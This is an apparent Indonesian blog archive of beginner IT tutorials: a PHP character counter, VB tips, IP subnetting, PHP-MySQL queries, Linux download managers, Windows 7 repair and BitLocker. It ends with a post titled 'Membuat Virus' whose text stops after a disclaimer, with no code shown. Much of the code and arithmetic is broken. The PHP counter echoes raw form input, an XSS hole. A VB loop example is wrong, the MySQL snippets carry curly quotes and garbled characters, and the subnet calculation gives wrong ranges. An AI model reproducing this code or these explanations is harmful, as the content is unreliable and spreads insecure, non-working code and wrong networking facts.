Senin, 16 Desember 2013

Jual Buku

<div class="item_image">
<img border="0" class="item_thumb" src="image.jpg" />
<span class="item_price">$00.00</span>
</div>
<div class="item_Description">
Descriptions... </div>


<div class="item_image">
<img border="0" class="item_thumb" src="https://www.google.com/search?q=gambar+buku&client=firefox-a&hs=DWs&rls=org.mozilla:en-US:official&tbm=isch&tbo=u&source=univ&sa=X&ei=ROKuUraYKYeJrQftiIGgDA&ved=0CDMQsAQ&biw=1366&bih=642#facrc=_&imgdii=_&imgrc=jOHYOilwl2PryM%3A%3BoEuXqI_BtyQOBM%3Bhttp%253A%252F%252Fcdn3.islampos.com%252Fwp-content%252Fuploads%252F2012%252F06%252Fmembaca.jpg%3Bhttp%253A%252F%252Fwww.islampos.com%252Fcara-brasil-potong-masa-tahanan-membaca-buku-7328%252F%3B640%3B480 "/>
<span class="item_price">$9


0.00</span>
</div>
<div class="item_Description">

</div>

Hitung jumlah kata dengan PHP dasar

Hitung jumlah kata

<?php
/*-------------------------------------------------------+
| Script Menghitung Jumlah Huruf Vokal & Konsonan
| Copyleft 2007
| http://exploreyourbrain.com
+--------------------------------------------------------+
| Filename: script_count_char.php
| Author: EVA-00
+--------------------------------------------------------*/
?>
<form action="<?php $_SERVER['PHP_SELF']; ?>" method="post">
<b>Input Kalimat</b>
<input type="text" name="kalimat" size="30"><br>
<input type="submit" value="Kirim">
</form>

<?php
$teks_awal = trim($_POST['kalimat']);
$teks_modif = strtolower($teks_awal); //ganti kalimat menjadi huruf kecil semua
$teks=str_replace(" ","",$teks_modif); //buang spasi yang ada di tengah kata
$jumlah = strlen($teks); //menghitung jumlah karakter pada variable $teks

//substr_count adalah fungsi menghitung jumlah huruf/kalimat
$a = substr_count($teks, "a"); //hitung jumlah huruf "a"
$i = substr_count($teks, "i"); //hitung jumlah huruf "i"
$u = substr_count($teks, "u"); //hitung jumlah huruf "u"
$e = substr_count($teks, "e"); //hitung jumlah huruf "e"
$o = substr_count($teks, "o"); //hitung jumlah huruf "o"

$vocal = $a+$i+$u+$e+$o; //hitung total jumlah huruf vocal
$konsonan = $jumlah - $vocal;

echo "Kalimat <b>\"".$teks_awal."\"</b> memiliki : <br>";

echo "Jumlah karakter = $jumlah<br>\n";

echo "jumlah huruf vocal = $vocal<br>\n";

echo "Jumlah huruf kosonan = $konsonan<br><br><br>";

?>

Kamis, 12 September 2013

Dasar-dasar VB.Net



Info Post

Walaupun VB.NET uda lama beredar, saya yakin masih banyak juga yang menggunakan VB6, baik sebagai programming language utama maupun pelengkap, dengan berbagai alasan tertentu. Untuk itu, gw ingin mengajak seluruh programmer setia VB6 untuk ikut bergabung di thread ini dan saling berbagi cerita maupun ilmu masing-masing dengan tujuan bisa memajukan pemrograman VB6 di Indonesia, khususnya forum viva tercinta ini






Quote:
  1. Belajar bareng VB
  2. Berbagi tips dan trik VB
  3. Posting alasan Ente pake VB 6
  4. berbagi source code
  5. Berbagi Komponen
Buat para pembaca saya mau share nih cara sederhana mengenai Teknik dasar belajar visual basic dalam membuat aplikasi berbasis windows dengan visual basic. dengan trik sederhana tapi hasil bagus. semoga membantu.. pos ini akan terus di update jika ada ada tutorial baru. hayu ah mulai.

Pernahkan kalian mengenal pemrograman visual basic berbasis windows.nah visual basic termasuk salah satu pemrograman tersebut.sebenarnya ada trik dan tips dalam membuat aplikasi.tapi jiga anda pernah belajar pemrograman tersebut seperti visual basic tinggal melanjutkan saja.mungkin salah satu updatetan ini ada yang nyangkut dan bisa di gunakan

Jika kita membahas dasar Visual Basic, sebenarnya tidak cukup hanya dengan satu panduan, apalagi satu contoh. Namun di sini akan dibatasi agar uraianya tidak terlalu umum ataupun khusus. Artinya, bagian ini mencoba menguraikan hal-hal ringan yang di anggap penting dan sering di perlukan.

Awalan Penanaman variebel
Konsistensi sering di kaitkan dengan penulisan kode program yang standart. Ini tentu cukup beralasan karena penulisan kode yang konsisten menjadikan kode program lebih mudah dibaca dan dipahami.

Quote:
‘ Jika hanya ada satu variebel string di Saturday
‘ ruang lingkup
Dim Str As String

‘ Jika terdapat lebih dari Satu
Dim strNama As String
Dim strAlamat As String
Hindari Tipe Variant
Tipe data Variant secara otomatis akan ditetapkan pada suatu variebel manakala anda tidak menetapkan tipe datanya secara eksplisit.

Quote:
‘ Variabel intX bertipe Variant
Dim IntX, intY As Integer

‘ intA dan intB bertipe Integer
Dim intA as Integer, intB As Integer
Alasan utama untuk menghindari tipe data Variant adalah karena eksekusinya yang cenderung lebih lambat mengkonsumsi memori lebih besar.

Ruang Lingkup Variabel
Apabila variabel-variabel anda hanya diperlukan oleh suatu method (prosedur/fungsi), sebaiknya deklarasikan di level
Local. Teknik ini terkait erat dengan performa aplikasi, dimana variabel local akan lebih cepat di eksekusi disbanding variabel global.

Konkatenasi dan Multiline
Pada saat anda ingin menghubungkan string, gunakan operator konkatenasi (&). Adapun jika konkatenasi melibatkan baris baru, sebaiknya manfaatkan karakter garis bawah (Underscore)

Quote:
‘ Hello Indonesia adalah satu bagian
strData = “Hello” & _
“Indonesia”
‘ strA dan strB adalah dua bagian
Dim strA As string
strB As string
Definisi tipe data
Anda pasti pernah menemui kode program Visual Basic (VB) yang mendefinisikan suatu tipe data menggunakan akhiran karakter tertentu, seperti $, %, dan sebagainya. Pendekatan yang juga disebut definisi tipe data secara implicit ini umumnya dilakukan untuk mempercepat eksekusi kode, berikut ini symbol (karakter ) yang dapat digunakan sebagai akhiran nama variabel untuk merepresentasikan tipe data. 

Perlu di perhatikan, bagian ini tidak bermaksud menyarankan anda untuk menggunakan pendekatan di atas, namun hanya sekedar memperlihatkan bagaimana implementasi secara implicit. Bagaimanapun juga, pendekatan definisi seperti ini seringkali membingungkan , terutama bagi yang belum memahami makna karakter terkait

Verifikasi tipe data 
Pada saat akan melakukan operasi terhadap suatu variabel terkadang kita ingin memeriksa tipe datanya terlebih dahulu. Untuk memudahkan verifikasi ini, kita bisa menambahkan method-method yang tersedia.

Quote:
Pernyataan kondisional
Dalam melakukan analisis dua kasus , anda tidak bisa meringkas penulisan kode program dengan memanfaatkan method if

Dim bStatus As Boolean
Dim intResult As integer

‘ Pendekatan if (satandart)
If bStatus then
intResult = 1
else
intResult = 0
End if
Print intResult

‘ Pendekatan if
intResult = if(bStatus, 1, 0)
Print intResult
Namun perlu diperhatikan , eksekusi method If cenderung lebih lambat dibanding pernyataan kondisional If

Keyword Step
Disamping menyederhanakan penulisan kode program pengulangan keyword step juga mampu mempercepat eksekusi kode. Sebagai contoh , kedia program berikut akan menghasilkan keluaran sama.

Quote:
Dim i as Integer

‘Mencetak bilangan ganjil 1-10
For I = 0 to 9
I = 1 + 1
Print i
Next i

‘Menggunakan pendekatan step
For I = 1 to 10 step 2
Print i
Next i

Kamis, 22 Agustus 2013

Cara Gampang Hitung IP Address

Postingan ini saya sadur dari blog sendiri di : http://www.gilank.com/cara-gampang-hitung-ip-address-no-hoax/
Silahkan di simak :)

Cara Gampang Hitung IP Address


cara gampang hitung ip address
Sebelumnya, Posting kali ini untuk cara gampang hitung ip address bisa saya pastikan tidak menggunakan bit-bit, Tetapi, ada tapinya nih, tidak salah untuk mengerti skema IP v 4 ini dalam hitungan bit, karena apa yang akan saya jabarkan dasarnya dari bit ini.
Note! : Bagi yang sudah paham bisa langsung scroll menuju Cara Gampang Hitung IP Address di bawah penjelasan ini.
Oke kita mulai dasarnya, contoh ip (private) adalah : 192.168.1.1,   ip di atas bisa di jabarkan dalam bentuk bit sebagai berikut :
  • 192 = 11000000
  • 168 = 10101000
  • 1 = 00000001

Kita Mulai Cara Gampang Hitung IP Address

Note! : contoh kasus adalah mencari , NA (Network Address) , BA (Broadcast Address), Usable Host (Host yang bisa digunakan), Subnet Mask dah itu aja.
1.  IP : 202.30.2.58 / 26
2. IP : 10.10.5.17 /25
3. IP : 111.125.30.16 / 28
Dah 3 aja dulu :D . Sekarang time to menjelaskan caranya, ini bener-bener caranya saja lho, bukan cara untuk menjawab soal di atas. Soal di atas nanti di cucokan sama jawaban
kalianAnda.
Pertama dan yang paling perrrtama adalah, harus hafal (atau tulis di tangan) lompatan Subnet Masknya (ga tau istilah aslinya ya), lompatannya adalah

128, 192 , 224, 240, 248, 252, 254, 255

Dimana setiap lompatan mewakili subnetnya masing-masing dan bitnya (ada 8 bit total). Nah mulai gampang kan :D . Angka dari lompatan ini berlaku untuk semua oktet dalam IP address versi 4 ini. Baik berupa /8 hingga /30 semua berlaku. Biar gampangnya kita ambil contoh untuk no. 1
- IP : 202.30.2.58 / 26 =  Berarti menggunakan lompatan 192 di mana subnet masknya adalah 255.255.255.192  bisa di artikan juga lompatan sebagai = subnet mask
Sekarang kita hitung NA (network addressnya) : rumus yang biasa saya terapkan untuk diri sendiri :p adalah : ujung host (254) – subnet yg di hitung (192) jadi hasilnya adalah
254 – 192 = 62 , nah 62 ini adalah jumlah host yang bisa di gunakan mulai dari 1 – 62 , 64 – 125 dst , nah sudah mulai cerah kan :p, setelah dapat 62 ini kita lihat soalnya lagi, 202.30.2.58
berarti dia masih termasuk di range 1 – 62 di mana NAnya adalah 202.30.2.0 dan Broadcastnya (BA) adalah 202.30.2.63
Usable hostnya ? Dari 202.30.2.1 - 202.30.2.62

Mudah kan? Bagus sekali :D

Cara Gampang Hitung IP Address

Sebenarnya ini tak luput dari dasar penghitungan IP, untuk mempermudah maka saya buat kan cara gampang hitung ip addressnya. Oke tutorial ini mungkin masih banyak yang bingung dan ingin bertanya tanya, silahkan komen di bawahnya, fast response ko ;p
Sekian tutorial Cara Gampang Hitung IP Address ;)

Rabu, 27 Maret 2013

Koneksi Database Acces dengan PHP

Tutorial ini untuk melengkapi dari tutorial cara membuat database di hosting komersil.

PHP adalah bahasa pemrograman web yang akhir-akhir ini banyak digunakan. dengan PHP kita dapat membuat sebuah website dinamis dengan koneksi data ke database. saat ini saya masih baru coba mempelajarinya. untuk bahan belajar saya gunakan database MySql sederhana yang saya hosting dengan server lokal Apache2Triad. Table berikut saya beri nama daftar_buku.







beberapa perintah dasar yang sering digunakan untuk mengolah database adalah sbb :
  • Membuat Koneksi PHP dengan database MySql
    <?php
    $host=�localhost�;
    $username=�username�;
    $password=�password�;
    $database=�buku�;

    $connect=mysql_connect($host,$username,$password);
    mysql_select_db($database,$connect);
    ?>
    username dan password adalah username dan password database MySql. simpan kode diatas dengan nama koneksi.php

  • Memasukan data ke database file koneksi di atas dapat dipanggil setiap saat kita melakukan koneksi ke database.
    <?php
    include(�koneksi.php�);
    $sql=�INSERT INTO daftar_buku(kode_buku, nama_buku, pengarang) VALUES (�MI-03�, �Ekonomi Mikro�, �Suparman�)�;
    mysql_query($sql);

    ?>
    bila kode diatas dieksekusi oleh browser, maka data pada database akan ditambah sesuai value yang saya masukan.

  • Menampilkan data dari database untuk mengambil data dari database dan menampilkannya dalam bentuk tabel saya gunakan kode sbb :

    <?php
    include(�koneksi.php�);
    $sql=�SELECT * FROM daftar_buku�;
    $hasil=mysql_query($sql);
    if($hasil){
    while($baris=mysql_fetch_array($hasil)){
    echo"<tr><td>".$baris['kode_buku']."</td><td>".$baris['nama_buku']."</td><td>". $baris['pengarang']."</td></tr>";
    }
    echo "</table>";
    }
    else {
    echo "gagal menampilkan data";
    }
    ?>

    while digunakan untuk perulangan penampilan data yang diambil, pada kondisi ini saya ingin menampilkan data dengan bentuk table. bila kode diatas dieksekusi oleh browser, maka data akan ditampilkan sbb :

  • Menghapus data dari database
    <?php
    include("koneksi.php");
    $sql="delete from daftar_buku where kode_buku='MI-03'";
    $hasil=mysql_query($sql);
    if($hasil){
    echo "data telah dihapus";
    }
    else {
    echo "data gagal dihapus";
    }
    ?>
    bila kode diatas dieksekusi oleh browser, maka akan tampil data telah dihapus dan data buku dengan kode MI-03 telah dihapus dari database.
    Merubah / Update Database

    <?php
    include("koneksi.php");
    $sql="UPDATE daftar_buku SET nama_buku='Manajemen Bisnis' where kode_buku='UM-01'";
    $hasil=mysql_query($sql);
    if($hasil){
    echo "data telah diubah";
    }
    else {
    echo "data gagal diubah";
    }
    ?>

    bila kode diatas dieksekusi oleh browser, maka nama buku dengan kode UM-01 yang semula Statistika akan berubah menjadi Manajemen Bisnis

    Semoga Bermanfaat ��..
    sumber http://www.wapmu.co.cc/2010/04/script-dasar-membuat-koneksi-database.html

    Rabu, 01 Agustus 2012

    DOwnload di Linux

    Dunia opensource memang memberikan banyak pilihan kepada penggunanya, mulai dari masalah distribusi sistem operasi yang dipilih seperti Ubuntu, BlankOn, Fedora, Debian, ArchLinux, dan lain-lain sampai masalah aplikasi untuk keperluan sehari-hari seperti aplikasi pemutar suara, pemutar video, pengedit gambar, office suite, IDE (Integrated Development Environment). Nah pada kesempatan kali ini saya ingin memberi informasi mengenai 10 download manager atau download accelerator di Ubuntu/Linux. Tentu saja, aplikasi yang akan saya tulis di sini semua dapat kalian instal dan gunakan tanpa harus membayar biaya lisensi alias gratis.

    10+ Download Manager/Accelerator di Linux
    1. Wget
    Wget merupakan aplikasi downloader bawaan di Ubuntu, aplikasi ini berjalan dalam modus Terminal sehingga ringan dan cepat ketika dijalankan. Wget mendukung HTTP, HTTPS, FTP, dan dapat men-download lewat proxy. Sebagaimana yang telah saya katakan sebelumnya, Wget sudah terinstal secara default di Ubuntu, namun jika karena suatu sebab kalian tidak mendapati Wget di komputer, silakan ketik perintah berikut untuk menginstalnya:
    1. sudo apt-get install wget  
    Wget: Aplikasi downloader berbasis Terminal
    2. Aria2c
    Aria2c merupakan salah aplikasi download accelerator di Linux berbasis Terminal. Aplikasi ini mendukunh protokol HTTP, HTTPS, FTP, BitTorrent, dan Metalink. Aria2c mendukung multiple connections sehingga dapat memaksimalkan bandwidth yang kalian miliki untuk mempercepat download.
    Pengguna Ubuntu dapat menginstal Aria2c dengan mengetik perintah berikut di Terminal:
    1. sudo apt-get install aria2  
    Aria2c: Download accelerator berbasis Terminal
    3. Axel
    Aplikasi download accelerator berbasis Terminal lainnya adalah Axel, aplikasi ini mirip Aria2c namun Axel men-download secara langsung menjadi sebuah file jadi kita tidak perlu menunggu proses penggabungan “pecahan” file ketika proses download selesai. Untuk menginstal Axel di Ubuntu, ketik perintah berikut di Terminal:
    1. sudo apt-get install axel  
    Download accelerator ‘Axel’ di Ubuntu
    4. ProZilla
    Aplikasi download accelerator berbasis Terminal terakhir yang saya tulis dalam artikel ini adalah ProZilla. Aplikasi ini merupakan download accelerator favorit saya terutama ketika men-download dari FTP, karena ProZilla mendukung FTP search yang dapat mencari server tercepat yang memiliki file yang sama. Jadi secara otomatis proses download yang dilakukan akan selesai lebih cepat, tentu saja hal ini tergantung dari kecepatan koneksi Internet juga gan :p
    ProZilla terdapat di PPA TahuTEK.net, ketik perintah berikut untuk menginstal:
    1. sudo add-apt-repository ppa:tldm217/tahutek.net  
    2. sudo apt-get update  
    3. sudo apt-get install prozilla  
    ProZilla: Download accelerator untuk Linux
    5. GWget
    Bagi teman-teman yang tidak ingin masuk ke dunia hitam alias memakai aplikasi berbasis Terminal jangan bersedih dulu. Di Ubuntu/Linux terdapat banyak aplikasi downloader berbasis GUI (Graphical User Interface) yang bisa kalian pakai, salah satunya adalah GWget. Aplikasi ini merupakan bentuk GUI dari Wget yang sudah saya tulis sebelumnya. Untuk menginstalnya, cukup ketik perintah berikut di Terminal:
    1. sudo apt-get install gwget  
    GWget: Modus GUI dari wget
    6. FatRat
    FatRat merupakan aplikasi download manager yang kaya fitur. Aplikasi ini mendukung protokol HTTP, HTTPS, FTP, dan BitTorrent. Ditambah lagi, FatRat mendukung plugin seperti pencarian torrent, men-download dari file hosting (Rapidshare, Hotfile, Fileserve, dll), dan lain-lain.
    Para pengguna Ubuntu dapat menginstal FatRat dengan mengetik perintah berikut di Terminal:
    1. sudo apt-get install fatrat  
    FatRat: Download manager kaya fitur untuk Linux
    7. JDownloader
    JDownloader merupakan aplikasi download accelerator berbasis Java yang mendukung multiple connections, penambahan plugin, serta setelah saya baca di situsnya, ternyata JDownloader juga bisa men-download video dari YouTube dan semisalnya. Pengen coba? Ketik perintah berikut di Terminal untuk menginstalnya:
    1. sudo add-apt-repository ppa:ferramroberto/java  
    2. sudo add-apt-repository ppa:jd-team/jdownloader  
    3. sudo apt-get update  
    4. sudo apt-get install sun-java6-jre sun-java6-plugin jdownloader  
    JDownloader: Download accelerator berbasis Java
    8. UGet
    UGet merupakan aplikasi download manager yang cukup ringan. Aplikasi ini mendukung pause and resume, pengkategorian download dan dapat men-download dari BitTorrent. Untuk menginstal UGet di Ubuntu, silakan ketik perintah berikut di Terminal:
    1. sudo add-apt-repository ppa:plushuang-tw/uget-devel  
    2. sudo apt-get update  
    3. sudo apt-get install uget  
    UGet: Download manager yang ringan di Ubuntu/Linux
    9. SteadyFlow
    SteadyFlow merupakan aplikasi download manager minimalis, mudah digunakan dan tentu saja ringan ketika dijalankan. SteadyFlow memiliki tampilan mirip Transmission BitTorrent client. Aplikasi ini mendukung download dari protokol HTTP, HTTPS, FTP, dan SMB. Para pengguna Ubuntu dapat menginstal SteadyFlow dengan mengetik perintah berikut di Terminal:
    1. sudo add-apt-repository ppa:sikon/steadyflow  
    2. sudo apt-get update  
    3. sudo apt-get install steadyflow  
    SteadyFlow: Download manager yang minimalis
    10. wxDownload Fast
    wxDownload Fast merupakan aplikasi download accelerator yang cukup tua, setahu saya aplikasi ini sudah tidak ada di repository karena tidak ada yang mengurus. wxDownload Fast mendukung multiple connections sehingga dapat memaksimalkan bandwidth untuk men-download. Informasi lebih lanjut mengenai wxDownload Fast bisa ditemukan di sini.
    Sebagaimana yang telah saya singgung di atas, wxDownload Fast sudah tidak ada di repository (Ubuntu Natty), jadi untuk menginstalnya kalian harus men-download file *.deb-nya di sini. Setelah proses download selesai ketik perintah berikut di Terminal untuk menginstal:
    1. sudo dpkg -i wxdfast_0.6.0-1_ubuntu_i386.deb  
    2. sudo apt-get -f install  
    wxDownload Fast di Ubuntu 11.04 Natty Narwhal
    11. ProzGui
    Aplikasi terakhir yang akan saya masukkan ke dalam daftar 10+ Download Manager/Accelerator di Linux adalah ProzGui. Aplikasi ini merupakan bentuk GUI dari ProZilla, jadi fiturnya tidak jauh beda dengan ProZilla. Para pengguna Ubuntu dapat menginstal ProzGui dengan mengetik perintah berikut di Terminal:
    1. sudo add-apt-repository ppa:alza/project  
    2. sudo apt-get update  
    3. sudo apt-get install prozgui  
    ProzGui: Modus GUI dari ProZilla
    Saya sudah menulis beberapa artikel mengenai cara mengintegrasikan beberapa download manager di atas dengan Firefox, silakan dibaca:
    Integrasi JDownloader dengan Firefox
    Integrasi SteadyFlow dengan Firefox
    Integrasi UGet dengan Firefox
    Sumber : http://www.tahutek.net

    Senin, 30 Juli 2012

    Cara Mudah Repair Windows 7

    Setiap Microsoft mengeluarkan sistem operating baru (termasuk Windows 7), mereka mengklaim kalau sistem operasi tersebut lebih stabil dari pendahulunya. Meskipun demikian, anda tidak akan pernah tahu suatu saat sistem yang stabil tersebut akan mengalami masalah. Alangkah lebih baik jika anda melakukan antisipasi guna meminimalisir akibat yang ditimbulkan oleh Windows 7 saat mengalami masalah.

    Salah satu solusi persiapan yang dapat anda lakukan untuk mengantisipasi kerusakan tersebut adalah dengan cara membuat sebuah CD repair Windows 7 yang dapat digunakan untuk booting saat  operating system mengalami masalah. Windows 7 punya sebuah fitur yang dapat digunakan untuk membuat sebuah CD repair dengan langkah yang mudah.

    Langkah kerjanya adalah sebagai berikut :

    1. Klik Start, kemudian ketik system repair disc, klik Create a Syetem Repair Disc
    2. Akan keluar window Create a System Repair Disc. Pilih media disc yang akan dipakai.
    3. Masukkan sebuah kepingan CD kosong ke dalam DVD/CD RW dan lanjutkan dengan klik tombol Create disc.
    4. Setelah selesai, keluarkan kepingan CD yang telah anda buat dari DVD/CD RW

    Sekarang anda punya kepingan CD yang dapat digunakan sebagai repair disc Windows 7 di komputer atau notebook anda. Lalu, bagaimana menggunakan repair disc yang telah dibuat?

    1. Booting komputer atau notebook anda menggunakan kepingan CD yang telah anda buat. Pilih Windows Setup [EMS Enabled] untuk masuk ke dalam menu system repair.
    2. Setelah proses booting selesai, anda bisa mengakses  System Recovery Options dan mengembalikan System image yang telah anda buat sebelumnya.
    3. Sekarang anda dapat memilih jenis recovey yang akan dijalankan untuk memulihkan sistem operasi Windows 7 pada notebook atau PC sesuai dengan kondisi kerusakan system yang anda hadapi. Jika ingin menggunakan system image yang telah dibuat, klik system image recovery dan ikuti langkah-langkah beriutnya ssuai dengan petunjuk yang disediakan.

    Meskipun tidak pernah diingnkan, anda tidak akan pernah tahu kapan sistem operasi windows 7 mengalami masalah. Sebuah langkah yang bijak jika mau meluangkan waktu untuk membuat sebuah CD repair yang akan bermanfaat saat notebook atau PC anda bermasalah. Demikian apa yang bisa saya sharing, semoga bisa bermanfaat bagi kita semua. Terima Kasih

    Kamis, 28 Juni 2012

    Keamanan Windows

    Keamanan pada windows

    BitLocker beroperasi dalam tiga modus operasi. Dua modus pertama membutuhkan kepingan (chip) perangkat keras kriptografi yang disebut dengan Trusted Platform Module (TPM) versi 1.2 atau yang terbaru dan juga BIOS yang kompatibel, yakni sebagai berikut:

    • Modus operasi transparan: modus ini menggunakan sepenuhnya kemampuan perangkat keras TPM 1.2 untuk memberikan keamanan yang tinggidengan kenyamanan kepada pengguna–pengguna dapat masuk log ke Windows Vista secara normal, seolah tidak ada proses enkripsi berlangsung di dalamnya. Kunci yang digunakan untuk melakukan enkripsi akan dienkripsi dengan menggunakan chip TPM dan hanya akan dibuka kepada kode pemuat sistem operasi jika berkas-berkas yang dibutuhkan dalam rangka proses booting terlihat belum dimodifikasi. Komponen BitLocker sebelum OS berjalan ini mampu melakukannya dengan mengimplementasikan metodologi Static Root of Trust Measurement, yang didefinisikan oleh Trusted Computing Group.
    • Modus autentikasi pengguna: Modus ini mengharuskan pengguna memasukkan beberapa parameter autentikasi dalam lingkungan sebelum melakukan proses booting agar mampu melakukan proses booting ke sistem operasi. Modus ini memiliki dua metodologi, yakni dengan menggunakan Personal Identification Number (PIN) yang dimasukkan oleh pengguna, atau perangkat USB yang dimasukkan oleh pengguna yang mengandung kunci yang dibutuhkan.
    • Modus USB Key: Pengguna harus memasukkan perangkat USB yang mengandung kunci yang dibutuhkan agar komputer mampu melakukan booting terhadap sistem operasi yang dilindungi oleh BitLocker. Modus ini memang tidak membutuhkan TPM, tapi modus ini membutuhkan BIOS yang mampu membaca perangkat USB sebelum booting.

    [sunting] Cara kerja

    Berbeda dengan namanya, BitLocker Drive Encryption sebenarnya hanya merupakan sistem enkripsi terhadap sebuah volume/partisi saja. Sebuah volume mungkin bisa berupa satu hard drive, sebuah partisi, atau lebih dari satu buah hard drive. Dengan menggunakan alat bantu yang bersifat command-line, BitLocker dapat digunakan untuk mengamankan volume yang digunakan oleh sistem operasi, tetapi juga volume yang tidak dapat dienkripsi dengan menggunakan antarmuka grafisnya. Sistem operasi masa depan (mungkin Windows Server 2008) diharapkan dapat mendukung enkripsi terhadap volume tambahan selain volume booting dengan menggunakan antarmuka grafisnya. Selain itu, ketika diaktifkan, TPM dan BitLocker juga menjamin integritas jalur booting yang digunakan (BIOS, Master Boot Record, boot sector dan lain-lain) agar mencegah serangan fisik secara offline (offline attack), virus yang menyerang boot sector dan lain-lain.

    Agar BitLocker dapat beroperasi, hard disk paling tidak harus memiliki dua buah volume yang harus diformat dengan menggunakan sistem berkas NTFS, yang dinamakan dengan “System Volume” (sebuah volume di mana sistem operasi mampu melakukan booting yang memiliki kapasitas paling tidak 1.5 Gigabyte) dan juga “Boot Volume“, yang mengandung Windows Vista. Perlu dicatat bahwa System Volume tidak dienkripsi, sehingga tidak boleh menyimpan data sensitif dan rahasia di sana. Tidak seperti versi Windows sebelumnya, alat bantu command-line diskpart bawaan Windows Vista mencakup kemampuan untuk mengecilkan ukuran volume NTFS sehingga system volume yang ditujukan untuk BitLocker pun dapat dibuat, tanpa harus melakukan repartisi hard drive.

    Hanya volume yang berisi sistem operasi saja yang bisa dienkripsi dengan menggunakan antarmuka grafis. Akan tetapi, volume tambahan dapat dienkripsi dengan menggunakan skrip Windows Scripting Host, manage-bde.wsf. Fitur Encrypting File System (EFS) tetap disarankan sebagai solusi untuk enkripsi secara realtime dalam partisi NTFS. Penggunaan EFS juga sangat disarankan selain tentunya BitLocker, karena proteksi yang dilakukan oleh BitLocker akan berakhir mana kala kernel sistem operasi telah dimuat. Penggunaan dua fitur tersebut (BitLocker dan EFS) akan mampu melindungi beberapa jenis serangan.

    Dalam lingkungan domain, BitLocker mendukung pembagian kunci terhadap dengan menggunakan Active Directory, selain tentunya antarmuka Windows Management Instrumentation (WMI) yang digunakan untuk melakukan administrasi jarak jauh terhadap fitur tersebut. Sebagai contoh penggunaan antarmuka WMI adalah skrip manage-bde.wsf (yang diletakkan di dalam \%WINDIR%\System32\) yang dapat digunakan untuk mengatur konfigurasi BitLocker dari command-line.

    [sunting] Keamanan BitLocker

    Menurut Microsoft, BitLocker tidak mengandung backdoor; tidak ada jalan lolos bagi para penegak hukum untuk mengakses data pengguna yang telah disimpan di dalam hard drive yang diproteksi dengan menggunakan BitLocker. Hal ini telah menjadi pembicaraan di antara para pengguna berpengalaman dan paham masalah sekuritas sejak awal pengumuman fitur enkripsi cakram terintegrasi di dalam Vista.

    Menurut artikel “Keys to Protecting Data with BitLocker Drive Encryption” yang dipublikasikan pada bulan Juni 2007 dalam majalah TechNet Magazine[1], modus operasi transparan dan modus autentikasi pengguna akan menggunakan perangkat keras TPM untuk mendeteksi apakah ada perubahan yang tidak diinginkan terhadap lingkungan sebelum booting, termasuk di antarany adalah BIOS, MBR, dan boot sector. Jika ada perubahan yang tidak diinginkan terdeteksi oleh BitLocker, BitLocker akan meminta sebuah kunci pemulihan (recovery) dari sebuah perangkat USB, atau password untuk pemulihan yang dimasukkan secara manual. Dua cara ini digunakan untuk melakukan dekripsi terhadap Volume Master Key (VMK) dan mengizinkan proses booting untuk terus berlanjut.

    Salah satu implikasi dari sistem enkripsi berbasis perangkat lunak semacam BitLocker adalah bahwa kunci pemulihan dan proses pemasukan password dapat ditipu dengan menggunakan manajer booting lainnya atau melakukan instalasi sebuah sistem operasi. Setelah perangkat lunak menemukan password rahasia, maka program tersebut dapat digunakan untuk melakukan dekripsi terhadap VMK, yang kemudian mengizinkan akses untuk melakukan dekripsi terhadap hard disk yang dienkripsi dengan BitLocker. Risiko ini dapat diproteksi dengan mengonfigurasikan password pada BIOS agar hanya mampu melakukan booting dari hard disk saja, bukan dari perangkat lain lalu melindungi konfigurasi BIOS dengan password yang kuat. Hal ini tidak menjadi jaminan kemanan, karena memang pada umumnya di dalam motherboard terkandung sebuah jumper untuk menghilangkan memori CMOS yang digunakan untuk menyimpan password dan konfigurasi BIOS, sehingga komputer pun dapat digunakan.

    BitLocker juga dapat beroperasi dalam modus USB Key. Risiko keamanan dalam kasus ini adalah bahwa sebuah program (baik itu program sebelum booting atau program setelah booting) dapat membaca kunci startup dari USB key tersebut untuk disimpan di sebuah tempat lainnya yang dapat digunakan pada waktu yang akan datang untuk melakukan dekripsi terhadpa VMK untuk mengizinkan akses terhadap hard disk yang diamankan oleh BitLocker. Risiko ini dapat dikurangi dengan mencabut USB Key dari port USB sebelum Windows menyelesaikan proses bootingnya, yang akhirnya mencegah malware untuk mencuri informasi yang terkandung di dalam USB Key tersebut. Selain itu, mengonfigurasikan BIOS agar hanya melakukan booting dari hard disk dan melindunginya dengan password yang kuat akan meningkatkan keamanan dengan memperumit instalasi sebuah lingkungan sebelum booting yang mampu mencuri kunci. Lagi-lagi, jika memori CMOS dihapus, hal ini akan meningkatkan kerawanan sistem.

    Meskipun BitLocker mampu melindungi hard disk dari beberapa macam serangan, BitLocker tidak mampu melindungi hard disk dari serangan yang dilancarkan dari jaringan, karena Windows sedang berjalan (mengingat keamanan BitLocker hanya efektif sesaat sebelum booting saja). Karenanya, penggunaan EFS sangatlah disarankan.

    3 perintah dengan titik yang bermanfaat

    3 Perintah Titik Yang Berguna
    Semalam saya menemukan hal yang menarik (paling tidak bagi saya), saya chat dengan teman saya tentang perintah-perintah yang sering kami gunakan. Saya sering sekali menggunakan menu Run (Start -> Run atau Windows + R) untuk membuka atau ‘memerintah’ Windows melakukan keinginan saya. Ternyata semalam, saya menemukan 3 perintah menarik yang bisa dilakukan dengan karakter titik(.).
    Langsung saja ya, ketiga perintah itu adalah: (O,ya perintah ini di ketikan di input Open di menu Run)
    1. Ketik satu titik [.] di kotak input (ketik tanpa tanda kurung) lalu tekan Enter, Anda akan mendapatkan folder User Profile anda terbuka.
    2. Ketika dua titik [..] di kotak input (ketik tanpa tanda kurung) lalu tekan Enter, Anda akan mendapatkan folder Documents and Settings terbuka.
    3. Ketik tiga titik [...] di kotak input (ketik tanpa tanda kurung) lalu tekan Enter, Anda akan mendapatkan My Computer terbuka.
    Semoga bisa bermanfaat juga buat rekan-rekan.

    Rabu, 13 Juni 2012

    Membuat Virus

    Cara Membuat Virus Installhack.bat

    18 Mar

    Catatan ini diperoleh dari : http://www.get2ware.co.cc/2010/05/cara-sederhana-membuat-virus-komputer.html

    Virus komputer adalah sebuah program komputer yang dapat menyalin sendiri atau menggandakan dirinya sendiri dan menginfeksi system komputer yang secara umum bersifat merusak. Tetapi, taukah kamu bahwa virus komputer itu dapat dibuat secara sederhana, tulisan dibawah ini merupakan salah satu cara membuat virus komputer dengan cara yang sangat sederhana. Tetapi sebelum kamu membaca dan mempraktekkan tulisan tersebut perlu dipahami bahwa postingan ini hanya bersifat menambah pengetahuan kamu bukan sebagai hal yang berdampak negatif dan apapun yang terjadi setelah mempraktekkan tulisan dibawah ini, saya terlepas dari dampak yang terjadi..

    Cara Mudah Membuat Virus. Check it out :D

